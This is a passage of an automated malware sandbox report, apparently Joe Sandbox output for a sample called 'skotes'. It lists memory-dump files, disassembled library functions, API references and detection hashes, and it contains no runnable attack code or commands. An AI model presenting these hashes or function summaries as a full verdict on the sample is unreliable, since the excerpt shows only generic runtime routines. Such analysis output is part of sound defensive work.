Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 817778441e7ef403f452387e294907cfca5e773031d85fe9698a027e6fb0349b
Instruction ID: 608c4054dc2f667ccfaccc049fa6169cda362f493ea8a18a4317198e5b4dd186
Opcode Fuzzy Hash: 817778441e7ef403f452387e294907cfca5e773031d85fe9698a027e6fb0349b
Instruction Fuzzy Hash: AB01B9355413112EAA107BB55C46FBB35DCDA42718720153EB859E6282EDA4E805627C

Function 00C62097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 00C620B7

Part of subcall function 00C5CAF3: Mailbox.LIBCMT ref: 00C5CB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00C620C8
StructuredWorkStealingQueue.LIBCMT ref: 00C620FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00C6210F

Strings

e, xrefs: 00C620D9

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: fe08d6c1cdb9070d9d1710e8341177be0c43fda8862caf5dd68d5ab13c644964
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 1811E335209904ABDB21DE69C8C166E77A4EF02324B18C05AFC068F202DF71DE41EBA1

Function 00C4D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 00C4D0A5

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 00C4D03B
kernel32.dll, xrefs: 00C4D04C
SleepConditionVariableCS, xrefs: 00C4D05D
WakeAllConditionVariable, xrefs: 00C4D069

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: e924a5af3cd9569a94dc56057ee6dca1d260fdeff70b0d190f8a847221181ed4
Instruction ID: 35e1980a783a9ac14dadb2bda0ca5538bc19c47ffcb763ed5c15fe807b2b1e9f
Opcode Fuzzy Hash: e924a5af3cd9569a94dc56057ee6dca1d260fdeff70b0d190f8a847221181ed4
Instruction Fuzzy Hash: B301DB60A92B116AFA313FB55C05F9F11CDDB82B58F092125BD45E3280DD60EE4287A5

Function 00C74C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00C74C98
__alloca_probe_16.LIBCMT ref: 00C74D5E
__freea.LIBCMT ref: 00C74DCA

Part of subcall function 00C6B04B: RtlAllocateHeap.NTDLL(00000000,C21C428B,?,?,00C4D3FC,C21C428B,?,00C47A8B,?,?,?,?,?,?,00C37465,?), ref: 00C6B07D

__freea.LIBCMT ref: 00C74DD3
__freea.LIBCMT ref: 00C74DF6

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 70a7143de8a0d18710dbef52cc47cbd07dc0cb6e9a54f0446ba3d3b00501736f
Instruction ID: b778fccabe1ae192d36ca6c279e2c9d16fa799f10f12adcf619e33b1d058a263
Opcode Fuzzy Hash: 70a7143de8a0d18710dbef52cc47cbd07dc0cb6e9a54f0446ba3d3b00501736f
Instruction Fuzzy Hash: 9F51F672600216AFEB395F65DC82FBB3BA9EF90750F158129FD28D7141EB30DD509AA0

Function 00C5E8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 00C5E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00C5E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00C5E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00C5E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00C5E9DC

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
